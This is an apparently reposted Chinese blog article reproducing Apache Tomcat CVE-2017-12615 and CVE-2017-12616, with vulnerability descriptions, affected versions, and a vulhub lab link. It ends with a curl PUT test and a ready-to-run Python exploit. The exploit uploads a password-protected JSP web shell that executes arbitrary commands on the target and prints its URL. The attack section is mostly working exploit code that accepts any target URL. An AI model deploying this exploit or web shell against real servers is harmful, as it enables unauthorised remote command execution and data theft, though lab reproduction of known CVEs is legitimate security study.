CVE-2017-12615漏洞復現附EXP


CVE-2017-12615復現

0x00 漏洞介紹

漏洞編號:

CVE-2017-12615

CVE-2017-12616

漏洞名稱:

CVE-2017-12615-遠程代碼執行漏洞

CVE-2017-12616-信息泄露漏洞

官方評級:

高危

漏洞描述:

CVE-2017-12616:信息泄露漏洞

當Tomcat中啟用了 VirtualDirContext時,攻擊者將能通過發送精心構造的惡意請求,繞過設置的相關安全限制,或是獲取到由VirtualDirContext提供支持資源服務的JSP源代碼,從而造成代碼信息泄露。

CVE-2017-12615:遠程代碼執行漏洞

當 Tomcat運行在Windows操作系統時,且啟用了HTTP PUT請求方法(例如,將 readonly 初始化參數由默認值設置為 false),攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 文件,JSP文件中的惡意代碼將能被服務器執行。導致服務器上的數據泄露或獲取服務器權限。

通過以上兩個漏洞可在用戶服務器上執行任意代碼,從而導致數據泄露或獲取服務器權限,存在高安全風險。

漏洞利用條件和方式:

CVE-2017-12615漏洞利用需要在Windows環境,且需要將 readonly 初始化參數由默認值設置為 false,經過實際測試,Tomcat 7.x版本內web.xml配置文件內默認配置無readonly參數,需要手工添加,默認配置條件下不受此漏洞影響。
CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext參數,經過實際測試,Tomcat 7.x版本內默認配置無VirtualDirContext參數,需要手工添加,默認配置條件下不受此漏洞影響。
漏洞影響范圍:

CVE-2017-12616影響范圍:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影響范圍: Apache Tomcat 7.0.0 - 7.0.79

0x01 環境搭建

使用docker搭建漏洞環境

github地址:
https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

0x02 漏洞驗證

這里我直接搭建在本地80端口上,linux系統下使用curl直接驗證漏洞。

執行命令
curl -XPUT 127.0.0.1/2.jsp/ --data "test"

漏洞驗證腳本

import requests
import sys
import time

'''
Usage:
	python CVE-2017-12615.py http://127.0.0.1

	shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami


'''

def attack(url):
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
	headers={"User-Agent":user_agent}
	data="""<%
    if("fff".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>"""
	try:
		requests.put(url, headers=headers, data=data)

		time.sleep(2)

		verify_response = requests.get(url[:-1], headers=headers)

		if verify_response.status_code == 200:
			print 'success!'
		else :
			print verify_response.status_code

	except :
		"error"

if __name__ == '__main__':
	target_url = sys.argv[1] + '/201712615.jsp/'

	attack(target_url)
	print 'shell: ' + target_url[:-1]


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM